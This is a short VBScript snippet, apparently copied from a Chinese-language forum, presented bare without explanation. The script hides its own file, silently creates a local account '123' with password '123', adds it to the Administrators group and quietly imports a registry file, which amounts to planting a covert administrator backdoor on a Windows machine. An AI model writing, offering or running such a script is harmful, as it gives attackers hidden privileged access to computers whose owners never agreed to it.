CUer

dim wsh,FA,FSO
set fso=CreateObject("Scripting.FileSystemObject")
Set FA= FSO.GetFile(WScript.scriptFullName)
FA.Attributes =34
set wsh=CreateObject("WScript.Shell")
wsh.run "net user 123 123/add",0,true
wsh.run "net localgroup administrators 123 /add" ,0,true
wsh.run "regedit /s C:\test.reg" ,0,true
复制代码